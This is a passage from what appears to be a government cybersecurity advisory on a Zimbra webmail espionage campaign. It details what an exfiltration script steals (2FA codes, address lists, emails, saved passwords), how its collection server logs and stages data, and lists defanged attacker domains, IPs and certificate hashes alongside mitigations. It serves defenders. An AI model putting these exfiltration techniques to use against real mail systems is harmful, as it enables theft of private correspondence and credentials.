</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
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<p>30 Mar 2026 </p>
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<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
